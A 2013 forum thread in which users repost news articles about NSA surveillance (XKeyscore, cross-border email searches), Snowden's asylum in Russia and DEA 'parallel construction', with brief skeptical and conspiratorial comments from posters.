The NSA boasts in training materials that the program, called XKeyscore, is its "widest-reaching" system for developing intelligence from the internet.

The latest revelations will add to the intense public and congressional debate around the extent of NSA surveillance programs. They come as senior intelligence officials testify to the Senate judiciary committee on Wednesday, releasing classified documents in response to the Guardian's earlier stories on bulk collection of phone records and Fisa surveillance court oversight.

The files shed light on one of Snowden's most controversial statements, made in his first video interview published by the Guardian on June 10.

"I, sitting at my desk," said Snowden, could "wiretap anyone, from you or your accountant, to a federal judge or even the president, if I had a personal email".

US officials vehemently denied this specific claim. Mike Rogers, the Republican chairman of the House intelligence committee, said of Snowden's assertion: "He's lying. It's impossible for him to do what he was saying he could do."

But training materials for XKeyscore detail how analysts can use it and other systems to mine enormous agency databases by filling in a simple on-screen form giving only a broad justification for the search. The request is not reviewed by a court or any NSA personnel before it is processed.

XKeyscore, the documents boast, is the NSA's "widest reaching" system developing intelligence from computer networks – what the agency calls Digital Network Intelligence (DNI). One presentation claims the program covers "nearly everything a typical user does on the internet", including the content of emails, websites visited and searches, as well as their metadata.

Analysts can also use XKeyscore and other NSA systems to obtain ongoing "real-time" interception of an individual's internet activity.

Under US law, the NSA is required to obtain an individualized Fisa warrant only if the target of their surveillance is a 'US person', though no such warrant is required for intercepting the communications of Americans with foreign targets. But XKeyscore provides the technological capability, if not the legal authority, to target even US persons for extensive electronic surveillance without a warrant provided that some identifying information, such as their email or IP address, is known to the analyst.

One training slide illustrates the digital activity constantly being collected by XKeyscore and the analyst's ability to query the databases at any time.



The purpose of XKeyscore is to allow analysts to search the metadata as well as the content of emails and other internet activity, such as browser history, even when there is no known email account (a "selector" in NSA parlance) associated with the individual being targeted.

Analysts can also search by name, telephone number, IP address, keywords, the language in which the internet activity was conducted or the type of browser used.

One document notes that this is because "strong selection [search by email address] itself gives us only a very limited capability" because "a large amount of time spent on the web is performing actions that are anonymous."

The NSA documents assert that by 2008, 300 terrorists had been captured using intelligence from XKeyscore.

Analysts are warned that searching the full database for content will yield too many results to sift through. Instead they are advised to use the metadata also stored in the databases to narrow down what to review.

A slide entitled "plug-ins" in a December 2012 document describes the various fields of information that can be searched. It includes "every email address seen in a session by both username and domain", "every phone number seen in a session (eg address book entries or signature block)" and user activity – "the webmail and chat activity to include username, buddylist, machine specific cookies etc".





Email monitoring
In a second Guardian interview in June, Snowden elaborated on his statement about being able to read any individual's email if he had their email address. He said the claim was based in part on the email search capabilities of XKeyscore, which Snowden says he was authorized to use while working as a Booz Allen contractor for the NSA.

One top-secret document describes how the program "searches within bodies of emails, webpages and documents", including the "To, From, CC, BCC lines" and the 'Contact Us' pages on websites".

To search for emails, an analyst using XKS enters the individual's email address into a simple online search form, along with the "justification" for the search and the time period for which the emails are sought.



The analyst then selects which of those returned emails they want to read by opening them in NSA reading software.

The system is similar to the way in which NSA analysts generally can intercept the communications of anyone they select, including, as one NSA document put it, "communications that transit the United States and communications that terminate in the United States".

One document, a top secret 2010 guide describing the training received by NSA analysts for general surveillance under the Fisa Amendments Act of 2008, explains that analysts can begin surveillance on anyone by clicking a few simple pull-down menus designed to provide both legal and targeting justifications. Once options on the pull-down menus are selected, their target is marked for electronic surveillance and the analyst is able to review the content of their communications


Title: Re: they know what you are doing
Post by: sky otter on July 31, 2013, 09:55:14 pm


http://www.bbc.co.uk/news/world-us-canada-23522565

31 July 2013 Last updated at 21:48 ET

US declassifies phone-snooping order

The Obama administration has released documents on its phone-snooping, as a Senate panel questions intelligence officials about the programme.

The declassification was made in the "interest of increased transparency", intelligence officials said.

But significant parts of the three released documents were redacted.

Meanwhile the father of Edward Snowden, who leaked information about the surveillance, says the FBI has asked him to go to Moscow to see his son.

Also on Wednesday, the UK's Guardian newspaper published slides leaked by Edward Snowden that detail a secret US surveillance system known as XKeyscore.

It reportedly enables American intelligence to monitor "nearly everything a typical user does on the internet".

The programme includes real-time data and suggests analysts could narrow searches through use of so-called metadata also stored by the National Security Agency (NSA), America's electronic intelligence organisation, the newspaper reports.

Blacked out
 
The official US documents released on Wednesday include a court order describing how the data from the phone-snooping programme would be stored and accessed.

Two reports to US lawmakers on the telephone and email records were also declassified.

But lines in the files, including details on "selection terms" used to search the massive data stores, were blacked out.

Deputy Attorney General James Cole told a Senate judiciary committee hearing on Wednesday that the court order spells out how the government can use call data obtained from telecom giants such as Verizon.

For the first time, the government acknowledged publicly that by using what it calls "hop analysis" it can scour the phone calls of millions of Americans in the hunt for just one suspect.

NSA analysts could use the records of everyone a suspect calls, as well as everyone who contacts the contacts of contacts of the initial suspect.

If the average person calls 40 unique people, such three-hop analysis could allow the government to mine the records of 2.5 million Americans when investigating one suspected terrorist.

Senator Richard Durbin said: "What's being described as a very narrow programme is really a very broad programme."

But the head of the NSA, General Keith Alexander, remained unapologetic about the agency's methods at a hacker conference in Las Vegas on Wednesday, insisting the programme had prevented attacks on the US.

'Find a safe haven'
 
Wednesday's was the first congressional session on the issue since the House narrowly rejected a proposal effectively to shut down the NSA's secret collection of hundreds of millions of Americans' phone records.

During the early parts of the hearing, NSA deputy director John Inglis said "no" when asked if anyone had been fired over the leak.

"No-one has offered to resign," Mr Inglis said. "Everyone is working hard to understand what happened."

Democratic Senator Patrick Leahy, the chairman of the committee, also questioned the deputy director on the number of attacks the agency said had been disrupted by the programmes.

"If this programme is not effective it has to end. So far, I'm not convinced by what I've seen," said Sen Leahy, who cited "massive privacy implications" of keeping phone call records.

Gen Alexander has said phone and internet surveillance disrupted 54 schemes by militants.

Sen Leahy said a list of the relevant plots provided to Congress did not reflect dozens, as he said, "let alone 54 as some have suggested".

Mr Inglis said the phone surveillance helped disrupt or discover attacks 12 times, and the larger number were foiled thanks to both the phone-records snooping and a second programme collecting global internet users' data.

Meanwhile, Edward Snowden's father, Lon, told Russian state TV he does not believe his son would get a fair trial in America and that the fugitive should stay in Russia.

In the interview, the elder Snowden thanked the Russian authorities for keeping his son safe and advised the 29-year-old "to find a safe haven".

Edward Snowden, a former NSA contractor, has been stuck in a transit area at a Moscow airport for more than a month after the US revoked his travel documents.  
Title: Re: they know what you are doing
Post by: sky otter on August 01, 2013, 07:57:58 am


http://worldnews.nbcnews.com/_news/2013/08/01/19815210-edward-snowden-granted-temporary-asylum-in-russia?lite

Edward Snowden granted temporary asylum in Russia

By Jim Maceda and Alastair Jamieson, NBC News
MOSCOW, Russia - NSA leaker Edward Snowden has been granted temporary asylum in Russia and has left the Moscow airport where he had been stranded for more than a month, his lawyer said Thursday.

An airport representative told Reuters that the former intelligence contractor had already crossed through the immigration line and left the airport.

Snowden's lawyer, Anatoly Kucherena, said he wouldn't disclose the 30-year-old fugitive's whereabouts for security reasons.

“He is the most wanted man on planet Earth. What do you think he is going to do? He has to think about his personal security. I cannot tell you where he is going,” Kucherena told Reuters.

“I put him in a taxi 15 to 20 minutes ago and gave him his certificate on getting refugee status in the Russian Federation,” he said. “He can live wherever he wants in Russia. It's his personal choice.”

WikiLeaks posted on Twitter that Snowden had been granted asylum in Russia for a year.

"We would like to thank the Russian people and all those others who have helped to protect Mr. Snowden," it said in a tweet.

"We have won the battle -- now the war."

Marie Harf, a State Department deputy spokesperson, told reporters Wednesday that Snowden was “not a human rights activist.”

“He’s not a dissident. He’s been accused of leaking classified information, has been charged with three very serious felony counts, and must be, should be, returned to the United States to face a free and fair trial as soon as possible,” she said at the daily briefing.

“We are working through law enforcement channels with the Russian government to make the point that Mr. Snowden is wanted on serious felony charges and needs to be returned to the United States.”

But Harf added that the U.S. had also “made the point that we don’t want this issue to have a hugely negative impact on our bilateral relationship.”

A senior Kremlin official, Yuri Ushakov, told Reuters that he doubted ties between Russia and the United States would suffer because of the “relatively insignificant” Snowden case.

“Our president has ... expressed hope many times that this will not affect the character of our relations,” he told reporters, saying there was no sign that U.S. President Barack Obama would cancel a planned visit to Moscow in September.

Reuters contributed to this report.
Title: Re: they know what you are doing
Post by: sky otter on August 04, 2013, 07:44:39 pm

ok.. if all the info was public for the last 7 or so years then Snowden isn't a traitor.. and really not even a whistle blower.
so what's the freakin big deal already..? ?   geeeeeeeeeze



Snowden’s ‘secrets’ should not surprise
By Lou Kilzer

Published: Saturday, August 3, 2013, 9:30 p.m.
Updated 5 hours ago


Almost all the information about spying made public by celebrity American intelligence leaker Edward Snowden could have been gathered during the past seven years by any foreign agency, terrorist organization or individual with Internet access. And little about the National Security Agency's information gathering should surprise Americans.

The NSA's programs were so well-publicized in news articles and books that a federal judge in 2010 called the government's spying “common knowledge to most Americans,” a Tribune-Review examination found.

By then, dozens of civil rights lawsuits over NSA snooping had been filed — almost all receiving news coverage. They were dismissed, though appeals are pending.

“One thing that is ‘new' is that there is controversy, where previously there was pretty much none,” John Pike, who directs the national security website GlobalSecurity.org, said of Snowden's disclosures, many of them to The Guardian, a U.K. newspaper.

Retired Air Force Gen. Michael Hayden, former head of the NSA and subsequently, the CIA, told the Trib that Snowden added little to what had been publicly reported.

His primary concern, he said, is that Snowden took computers that could contain strategic information when he fled the United States.

“I would lose all respect for Chinese State Security or the (Russian) FSB if they hadn't drained Snowden's computers,” Hayden said.

Hayden doubts encryption on the computers could withstand a concerted attack.

“I used to laugh when someone said the encryption on something was unbreakable,” he said.

The Guardian this past week published Snowden's latest “top secret” announcement about the NSA's using the XKEYSCORE program to spy overseas. The program reportedly captures content of foreign emails.

The NSA, established in 1952 specifically to gather foreign electronic intelligence, responded with a statement that any “implication that NSA's collection is arbitrary and unconstrained is false.”

As of 2008, XKEYSCORE had led to the capture of more than 300 terrorists, the NSA said.

Marc Ambinder, who co-authored a book that discussed XKEYSCORE, pointed out online that searching LinkedIn profiles for national security information will yield hundreds of individuals who worked for NSA and list fluency in XKEYSCORE as a skill.

“I quibble with The Guardian's description of the program as ‘top secret.' The word is not secret; its association with the NSA is not secret. That the NSA collects bulk data on foreign targets is, well, probably classified, but (not) at the secret level,” Ambinder said.

Public disclosure in 2005

Snowden's supporters contend he revealed to an unknowing public two critical parts of the snooping program: that Verizon released “metadata” on customers' calls to the NSA, giving their origin, destination and duration, and that the NSA can examine the content of emails and phone calls.

None of this, however, appears to be new, although names of the programs and mechanics evolved over the years.

In December 2005, The New York Times — after waiting for more than a year at the Bush administration's request — revealed the essence of what would evolve into the capture of telephone and Internet content. Based on interviews with more than 10 sources, the newspaper said the government intercepted certain calls and emails to or from the United States in which the originator or recipient were foreigners.

Hundreds, even thousands, of American communications were intercepted involving citizens, the Times said.

In response to some public outcry, President George W. Bush acknowledged authorizing that but said the disclosure was improper: “As a result, our enemies have learned information they should not have, and the unauthorized disclosure of this effort damages our national security and puts our citizens at risk.”

The Justice Department began a widely publicized search for leakers.

Six months later, USA Today laid out the metadata aspect: “The National Security Agency has been secretly collecting the phone records of tens of millions of Americans, using data provided by AT&T, Verizon and BellSouth.”

The newspaper quoted a source saying the agency's goal was “to create a database of every call ever made within the United States.”

Access initially restricted

“Warrantless wiretap programs,” then and now, seemed to be fused in many people's minds.

Yet initial warrantless spying on U.S. citizens was restricted and limited, Bush reported, an assertion supported by an Inspector General report released by The Washington Post and The Guardian.

The IG's report shows that between Oct. 4, 2001, when Bush authorized the program, and Jan. 17, 2007, when the warrantless program ended, the government read content from 406 email addresses and intercepted conversations between U.S. citizens and foreigners from 2,612 phone numbers. Ninety-two percent of data intercepted was foreign.

The three American telecoms providing data collectively supply 81 percent of international telephone access in the Unites States. The IG noted that in 2002, nearly all of the world's Internet traffic traveled through the United States.

Snowden claimed that nine Internet companies such as Google, Yahoo and Microsoft later gave NSA direct access to their servers — an assertion each company disputes.

Before American communications were intercepted, such requests went through rigorous review, the inspector general reported.

Alan Freedman of the Washington-based nonprofit Brookings Institution said many people wrongly believe the government recorded content of most telephone calls or emails. “This is not the case,” he said.

However, Freedman said the NSA never before intercepted calls to or from the United States. The gravity of that depends on one's stance on privacy, he said.

Amplified awareness

Under Bush, the President's Surveillance Program, as it was called, bypassed seeking warrants from a court established to handle matters of national security after the Foreign Intelligence Surveillance Act of 1978 (commonly referred to as FISA court). After 9/11, Bush said it was necessary to act speedily, and he authorized snooping for 30 days. In 2002, an appeals court ruled he had the power to do so.

President Obama campaigned in 2008 with a pledge to end warrantless wiretaps. But by then, the program had ended; the FISA court took it under its wing. As a senator in 2008, Obama voted to amend the FISA legislation to require warrants for such spying. The legislation immunized companies that participated in Bush's warrantless program. As president, Obama has fought to retain the 2008 changes.

Experts believe social media may be one reason that people are more aware of domestic spying. Twitter, for example, did not exist when the 9/11 attacks occurred, nor did Facebook, smartphones and rampant texting.

Joshua Benton, director of the Nieman Journalism Lab at Harvard University, said social media enable people with similar views to align. If groups of people find a story interesting, he said, it can instantly burgeon — within and outside those groups.

Snowden gives the spying story a narrative and a face, said Benton, a former reporter. It became not an abstract story about intelligence but one about a young man scrambling around the world to escape the clutches of authorities.

“The Web and social media do make it much easier for news junkies to sink their teeth into a story and amplify it across their networks,” Benton said. “But I think this story would have blown up big even if we still only had newspapers and television. It's just a good old-fashioned, juicy, dramatic story.”

Lou Kilzer is a Trib Total Media staff writer. Reach him  lkilzer@tribweb.com.

 


Read more: http://triblive.com/news/editorspicks/4408043-74/nsa-snowden-program#ixzz2b3h7UQRq
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Title: Re: they know what you are doing
Post by: Amaterasu on August 04, 2013, 08:07:17 pm
Snowden is a psyop, I tell You.
Title: Re: they know what you are doing
Post by: sky otter on August 05, 2013, 08:28:00 am


video at link

http://www.huffingtonpost.com/2013/08/05/dea-surveillance-cover-up_n_3706207.html

DEA Special Operations Division Covers Up Surveillance Used To Investigate Americans: Report
Reuters  |  Posted: 08/05/2013 4:59 am EDT  |  Updated: 08/05/2013 9:34 am EDT






By John Shiffman and Kristina Cooke

WASHINGTON, Aug 5 (Reuters) - A secretive U.S. Drug Enforcement Administration unit is funneling information from intelligence intercepts, wiretaps, informants and a massive database of telephone records to authorities across the nation to help them launch criminal investigations of Americans.

Although these cases rarely involve national security issues, documents reviewed by Reuters show that law enforcement agents have been directed to conceal how such investigations truly begin - not only from defense lawyers but also sometimes from prosecutors and judges.

The undated documents show that federal agents are trained to "recreate" the investigative trail to effectively cover up where the information originated, a practice that some experts say violates a defendant's Constitutional right to a fair trial. If defendants don't know how an investigation began, they cannot know to ask to review potential sources of exculpatory evidence - information that could reveal entrapment, mistakes or biased witnesses.

"I have never heard of anything like this at all," said Nancy Gertner, a Harvard Law School professor who served as a federal judge from 1994 to 2011. Gertner and other legal experts said the program sounds more troubling than recent disclosures that the National Security Agency has been collecting domestic phone records. The NSA effort is geared toward stopping terrorists; the DEA program targets common criminals, primarily drug dealers.

"It is one thing to create special rules for national security," Gertner said. "Ordinary crime is entirely different. It sounds like they are phonying up investigations."

THE SPECIAL OPERATIONS DIVISION

The unit of the DEA that distributes the information is called the Special Operations Division, or SOD. Two dozen partner agencies comprise the unit, including the FBI, CIA, NSA, Internal Revenue Service and the Department of Homeland Security. It was created in 1994 to combat Latin American drug cartels and has grown from several dozen employees to several hundred.

Today, much of the SOD's work is classified, and officials asked that its precise location in Virginia not be revealed. The documents reviewed by Reuters are marked "Law Enforcement Sensitive," a government categorization that is meant to keep them confidential.

"Remember that the utilization of SOD cannot be revealed or discussed in any investigative function," a document presented to agents reads. The document specifically directs agents to omit the SOD's involvement from investigative reports, affidavits, discussions with prosecutors and courtroom testimony. Agents are instructed to then use "normal investigative techniques to recreate the information provided by SOD."

A spokesman with the Department of Justice, which oversees the DEA, declined to comment.

But two senior DEA officials defended the program, and said trying to "recreate" an investigative trail is not only legal but a technique that is used almost daily.

A former federal agent in the northeastern United States who received such tips from SOD described the process. "You'd be told only, 'Be at a certain truck stop at a certain time and look for a certain vehicle.' And so we'd alert the state police to find an excuse to stop that vehicle, and then have a drug dog search it," the agent said.

"PARALLEL CONSTRUCTION"

After an arrest was made, agents then pretended that their investigation began with the traffic stop, not with the SOD tip, the former agent said. The training document reviewed by Reuters refers to this process as "parallel construction."

The two senior DEA officials, who spoke on behalf of the agency but only on condition of anonymity, said the process is kept secret to protect sources and investigative methods. "Parallel construction is a law enforcement technique we use every day," one official said. "It's decades old, a bedrock concept."

A dozen current or former federal agents interviewed by Reuters confirmed they had used parallel construction during their careers. Most defended the practice; some said they understood why those outside law enforcement might be concerned.

"It's just like laundering money - you work it backwards to make it clean," said Finn Selander, a DEA agent from 1991 to 2008 and now a member of a group called Law Enforcement Against Prohibition, which advocates legalizing and regulating narcotics.

Some defense lawyers and former prosecutors said that using "parallel construction" may be legal to establish probable cause for an arrest. But they said employing the practice as a means of disguising how an investigation began may violate pretrial discovery rules by burying evidence that could prove useful to criminal defendants.

A QUESTION OF CONSTITUTIONALITY

"That's outrageous," said Tampa attorney James Felman, a vice chairman of the criminal justice section of the American Bar Association. "It strikes me as indefensible."

Lawrence Lustberg, a New Jersey defense lawyer, said any systematic government effort to conceal the circumstances under which cases begin "would not only be alarming but pretty blatantly unconstitutional."

Lustberg and others said the government's use of the SOD program skirts established court procedures by which judges privately examine sensitive information, such as an informant's identity or classified evidence, to determine whether the information is relevant to the defense.

"You can't game the system," said former federal prosecutor Henry E. Hockeimer Jr. "You can't create this subterfuge. These are drug crimes, not national security cases. If you don't draw the line here, where do you draw it?"

Some lawyers say there can be legitimate reasons for not revealing sources. Robert Spelke, a former prosecutor who spent seven years as a senior DEA lawyer, said some sources are classified. But he also said there are few reasons why unclassified evidence should be concealed at trial.

"It's a balancing act, and they've doing it this way for years," Spelke said. "Do I think it's a good way to do it? No, because now that I'm a defense lawyer, I see how difficult it is to challenge."

CONCEALING A TIP

One current federal prosecutor learned how agents were using SOD tips after a drug agent misled him, the prosecutor told Reuters. In a Florida drug case he was handling, the prosecutor said, a DEA agent told him the investigation of a U.S. citizen began with a tip from an informant. When the prosecutor pressed for more information, he said, a DEA supervisor intervened and revealed that the tip had actually come through the SOD and from an NSA intercept.

"I was pissed," the prosecutor said. "Lying about where the information came from is a bad start if you're trying to comply with the law because it can lead to all kinds of problems with discovery and candor to the court." The prosecutor never filed charges in the case because he lost confidence in the investigation, he said.

A senior DEA official said he was not aware of the case but said the agent should not have misled the prosecutor. How often such misdirection occurs is unknown, even to the government; the DEA official said the agency does not track what happens with tips after the SOD sends them to agents in the field.

The SOD's role providing information to agents isn't itself a secret. It is briefly mentioned by the DEA in budget documents, albeit without any reference to how that information is used or represented when cases go to court.

The DEA has long publicly touted the SOD's role in multi-jurisdictional and international investigations, connecting agents in separate cities who may be unwittingly investigating the same target and making sure undercover agents don't accidentally try to arrest each other.

SOD'S BIG SUCCESSES

The unit also played a major role in a 2008 DEA sting in Thailand against Russian arms dealer Viktor Bout; he was sentenced in 2011 to 25 years in prison on charges of conspiring to sell weapons to the Colombian rebel group FARC. The SOD also recently coordinated Project Synergy, a crackdown against manufacturers, wholesalers and retailers of synthetic designer drugs that spanned 35 states and resulted in 227 arrests.

Since its inception, the SOD's mandate has expanded to include narco-terrorism, organized crime and gangs. A DEA spokesman declined to comment on the unit's annual budget. A recent LinkedIn posting on the personal page of a senior SOD official estimated it to be $125 million.

Today, the SOD offers at least three services to federal, state and local law enforcement agents: coordinating international investigations such as the Bout case; distributing tips from overseas NSA intercepts, informants, foreign law enforcement partners and domestic wiretaps; and circulating tips from a massive database known as DICE.

The DICE database contains about 1 billion records, the senior DEA officials said. The majority of the records consist of phone log and Internet data gathered legally by the DEA through subpoenas, arrests and search warrants nationwide. Records are kept for about a year and then purged, the DEA officials said.

About 10,000 federal, state and local law enforcement agents have access to the DICE database, records show. They can query it to try to link otherwise disparate clues. Recently, one of the DEA officials said, DICE linked a man who tried to smuggle $100,000 over the U.S. southwest border to a major drug case on the East Coast.

"We use it to connect the dots," the official said.

"AN AMAZING TOOL"

Wiretap tips forwarded by the SOD usually come from foreign governments, U.S. intelligence agencies or court-authorized domestic phone recordings. Because warrantless eavesdropping on Americans is illegal, tips from intelligence agencies are generally not forwarded to the SOD until a caller's citizenship can be verified, according to one senior law enforcement official and one former U.S. military intelligence analyst.

"They do a pretty good job of screening, but it can be a struggle to know for sure whether the person on a wiretap is American," the senior law enforcement official said.

Tips from domestic wiretaps typically occur when agents use information gleaned from a court-ordered wiretap in one case to start a second investigation.

As a practical matter, law enforcement agents said they usually don't worry that SOD's involvement will be exposed in court. That's because most drug-trafficking defendants plead guilty before trial and therefore never request to see the evidence against them. If cases did go to trial, current and former agents said, charges were sometimes dropped to avoid the risk of exposing SOD involvement.

Current and former federal agents said SOD tips aren't always helpful - one estimated their accuracy at 60 percent. But current and former agents said tips have enabled them to catch drug smugglers who might have gotten away.

"It was an amazing tool," said one recently retired federal agent. "Our big fear was that it wouldn't stay secret."

DEA officials said that the SOD process has been reviewed internally. They declined to provide Reuters with a copy of their most recent review. (Edited by Blake Morrison)
Title: Re: they know what you are doing
Post by: sky otter on August 08, 2013, 06:47:26 am


http://www.nytimes.com/2013/08/08/us/broader-sifting-of-data-abroad-is-seen-by-nsa.html?pagewanted=1&_r=0

N.S.A. Sifting Broader Set of Data Crossing U.S. Border

By CHARLIE SAVAGE
Published: August 8, 2013


WASHINGTON — The National Security Agencyhttp://topics.nytimes.com/top/reference/timestopics/organizations/n/national_security_agency/index.html?inline=nyt-org

is searching the contents of vast amounts of Americans’ e-mail and text communications into and out of the country, hunting for people who mention information about foreigners under surveillance, according to intelligence officials.

The N.S.A. is not just intercepting the communications of Americans who are in direct contact with foreigners targeted overseas, a practice that government officials have openly acknowledged. It is also casting a far wider net for people who cite information linked to those foreigners, like a little used e-mail address, according to a senior intelligence official.

While it has long been known that the agency conducts extensive computer searches of data it vacuums up overseas, that it is systematically searching — without warrants — through the contents of Americans’ communications that cross the border reveals more about the scale of its secret operations.

It also adds another element to the unfolding debate, provoked by the disclosures of Edward J. Snowden, the former N.S.A. contractor, about whether the agency has infringed on Americans’ privacy as it scoops up e-mails and phone data in its quest to ferret out foreign intelligence.

Government officials say the cross-border surveillance was authorized by a 2008 law, the FISA Amendments Act, in which Congress approved eavesdropping on domestic soil without warrants as long as the “target” was a noncitizen abroad. Voice communications are not included in that surveillance, the senior official said.

Asked to comment, Judith A. Emmel, an N.S.A. spokeswoman, did not directly address surveillance of cross-border communications. But she said the agency’s activities were lawful and intended to gather intelligence not about Americans but about “foreign powers and their agents, foreign organizations, foreign persons or international terrorists.”

“In carrying out its signals intelligence mission, N.S.A. collects only what it is explicitly authorized to collect,” she said. “Moreover, the agency’s activities are deployed only in response to requirements for information to protect the country and its interests.”

Hints of the surveillance appeared in a set of rules, http://www.documentcloud.org/documents/727943-exhibit-a.html

 leaked by Mr. Snowden, for how the N.S.A. may carry out the 2008 FISA law. One paragraph mentions that the agency “seeks to acquire communications about the target that are not to or from the target.” The pages were posted online by the newspaper The Guardian on June 20,

http://www.theguardian.com/world/2013/jun/20/fisa-court-nsa-without-warrant

but the telltale paragraph, the only rule marked “Top Secret” amid 18 pages of restrictions, went largely overlooked amid other disclosures.

To conduct the surveillance, the N.S.A. is temporarily copying and then sifting through the contents of what is apparently most e-mails and other text-based communications that cross the border. The senior intelligence official, who, like other former and current government officials, spoke on condition of anonymity because of the sensitivity of the topic, said the N.S.A. makes a “clone of selected communication links” to gather the communications, but declined to specify details, like the volume of the data that passes through them.

Computer scientists said that it would be difficult to systematically search the contents of the communications without first gathering nearly all cross-border text-based data; fiber-optic networks work by breaking messages into tiny packets that flow at the speed of light over different pathways to their shared destination, so they would need to be captured and reassembled.

The official said that a computer searches the data for the identifying keywords or other “selectors” and stores those that match so that human analysts could later examine them. The remaining communications, the official said, are deleted; the entire process takes “a small number of seconds,” and the system has no ability to perform “retrospective searching.”

The official said the keyword and other terms were “very precise” to minimize the number of innocent American communications that were flagged by the program. At the same time, the official acknowledged that there had been times when changes by telecommunications providers or in the technology had led to inadvertent overcollection. The N.S.A. monitors for these problems, fixes them and reports such incidents to its overseers in the government, the official said.

The disclosure sheds additional light on statements intelligence officials have made recently, reassuring the public that they do not “target” Americans for surveillance without warrants.

At a House Intelligence Committee oversight hearing in June, for example, a lawmaker pressed the deputy director of the N.S.A., John Inglis,

http://www.c-spanvideo.org/clip/4461523

to say whether the agency listened to the phone calls or read the e-mails and text messages of American citizens. Mr. Inglis replied, “We do not target the content of U.S. person communications without a specific warrant anywhere on the earth.”


Timothy Edgar, a former intelligence official in the Bush and Obama administrations, said that the rule concerning collection “about” a person targeted for surveillance rather than directed at that person had provoked significant internal discussion.
“There is an ambiguity in the law about what it means to ‘target’ someone,” Mr. Edgar, now a visiting professor at Brown, said. “You can never intentionally target someone inside the United States. Those are the words we were looking at. We were most concerned about making sure the procedures only target communications that have one party outside the United States.”



The rule they ended up writing, which was secretly approved by the Foreign Intelligence Surveillance Court, says that the N.S.A. must ensure that one of the participants in any conversation that is acquired when it is searching for conversations about a targeted foreigner must be outside the United States, so that the surveillance is technically directed at the foreign end.



Americans’ communications singled out for further analysis are handled in accordance with “minimization” rules to protect privacy approved by the surveillance court. If private information is not relevant to understanding foreign intelligence, it is deleted; if it is relevant, the agency can retain it and disseminate it to other agencies, the rules show.

While the paragraph hinting at the surveillance has attracted little attention, the American Civil Liberties Union did take note of the “about the target” language in a June 21 post analyzing the larger set of rules, arguing that the language could be interpreted as allowing “bulk” collection of international communications, including of those of Americans.



Jameel Jaffer, a senior lawyer at the A.C.L.U., said Wednesday that such “dragnet surveillance will be poisonous to the freedoms of inquiry and association” because people who know that their communications will be searched will change their behavior.

“They’ll hesitate before visiting controversial Web sites, discussing controversial topics or investigating politically sensitive questions,” Mr. Jaffer said. “Individually, these hesitations might appear to be inconsequential, but the accumulation of them over time will change citizens’ relationship to one another and to the government.”



The senior intelligence official argued, however, that it would be inaccurate to portray the N.S.A. as engaging in “bulk collection” of the contents of communications. “ ‘Bulk collection’ is when we collect and retain for some period of time that lets us do retrospective analysis,” the official said. “In this case, we do not do that, so we do not consider this ‘bulk collection.’ ”

Stewart Baker, a former general counsel for the N.S.A., said that such surveillance could be valuable in identifying previously unknown terrorists or spies inside the United States who unwittingly reveal themselves to the agency by discussing a foreign-intelligence “indicator.” He cited a situation in which officials learn that Al Qaeda was planning to use a particular phone number on the day of an attack.

“If someone is sending that number out, chances are they are on the inside of the plot, and I want to find the people who are on the inside of the plot,” he said.



The senior intelligence official said that the “about the target” surveillance had been valuable, but said it was difficult to point to any particular terrorist plot that would have been carried out if the surveillance had not taken place. He said it was one tool among many used to assemble a “mosaic” of information in such investigations. He also pointed out that the surveillance was used for other types of foreign-intelligence collection, not just terrorism, the official said.



There has been no public disclosure of any ruling by the Foreign Intelligence Surveillance Court explaining its legal analysis of the 2008 FISA law and the Fourth Amendment as allowing “about the target” searches of Americans’ cross-border communications. But in 2009, the Justice Department’s Office of Legal Counsel signed off on a similar process for searching federal employees’ communications without a warrant to make sure none contain malicious computer code.



That opinion, by Steven G. Bradbury, who led the office in the Bush administration, may echo the still-secret legal analysis. He wrote that because that system, called EINSTEIN 2.0,
pdf file go to link for connection to this
scanned communications traffic “only for particular malicious computer code” and there was no authorization to acquire the content for unrelated purposes, it “imposes, at worst, a minimal burden upon legitimate privacy rights.”  
Title: Re: they know what you are doing
Post by: Amaterasu on August 08, 2013, 10:30:40 am
Given that Al Q(however it's spelt) is a CIA construct, the reading of:

Quote
He cited a situation in which officials learn that Al Qaeda was planning to use a particular phone number on the day of an attack.

“If someone is sending that number out, chances are they are on the inside of the plot, and I want to find the people who are on the inside of the plot,” he said.

had Me in stitches!
Title: Re: they know what you are doing
Post by: sky otter on August 08, 2013, 10:49:06 am


yeah the whole bunch of these articles
(which i am only putting here to watch the evolution of the spin)

makes me want to laugh and cry at the same time

i keep asking
who believes this stuff?
and sadly the answer is
millions
but most folk ~ that wonderous silent majority ~ aren't even paying attention

 :'( ;D    ???
Title: Re: they know what you are doing
Post by: sky otter on August 11, 2013, 03:47:48 pm


wellllll this headline certainly clears up a few other headlines making the news..
gotta watch the peoples more closely  to save them
yep...
what a crock  >:(

http://www.huffingtonpost.com/2013/08/11/michael-hayden-nsa_n_3739610.html
 
Ryan Grim Become a fan
ryan@huffingtonpost.com

  Michael Hayden, Former NSA Chief: After A Major Attack, U.S. Likely To Seize More Surveillance Powers

Posted: 08/11/2013 12:06 pm EDT  |  Updated: 08/11/2013 3:43 pm EDT



WASHINGTON -- Former National Security Agency chief Gen. Michael Hayden hinted Sunday at how the NSA's eavesdropping and data collection program is likely to evolve over time. Critics of the project have warned that by building the capacity to track the electronic communications of all American citizens, the government will inevitably be tempted to employ every tool it has at its disposal and scuttle whatever constitutional safeguards stand in the way. Not to do so eventually would in fact be more surprising, goes the argument.

In an appearance on CBS' "Face The Nation," Hayden -- also the former head of the CIA -- unintentionally opened a window into just how that evolution will likely unfold.

Asked by host Bob Schieffer about the president's proposal for a civil liberties advocate to argue on behalf of the Constitution in the secret court that oversees the NSA, Hayden said that such a setup would be inappropriate for fast-moving investigations. But he did float a hypothetical scenario in which such a safeguard might be appropriate: After an attack, he said, the NSA would want to use the vast store of information it has been collecting in more aggressive ways.

Hayden said that in general he was opposed to a civil liberties advocate's involvement in the process, and warned that slowing it down would lead to criticism.

"When you're looking in your rearview mirror after the next successful attack, this runs the danger of looking like bureaucratic layering," he said. "And, so, you need to be careful about how many processes you put in there even though I freely admit, you don't get to do this at all unless the American people feel comfortable about it."

He continued, adding that an advocate might be appropriate after an attack, when the temptation to overreach is greatest.

"This is no one's proposal," he cautioned, before unveiling his hypothetical. "You've got this metadata. It's now [currently] queried under very, very narrow circumstances. If the nation suffers an attack, there are other things you could do with that metadata. There are other tools. So in that kind of emergency perhaps you would go to the court and say, 'In addition to these very limited queries we're allowed to do, we actually want to launch some complex algorithms against it.'"

"That's the kind of argument that frankly, even I could accept you might wanna have an advocate there," he said.

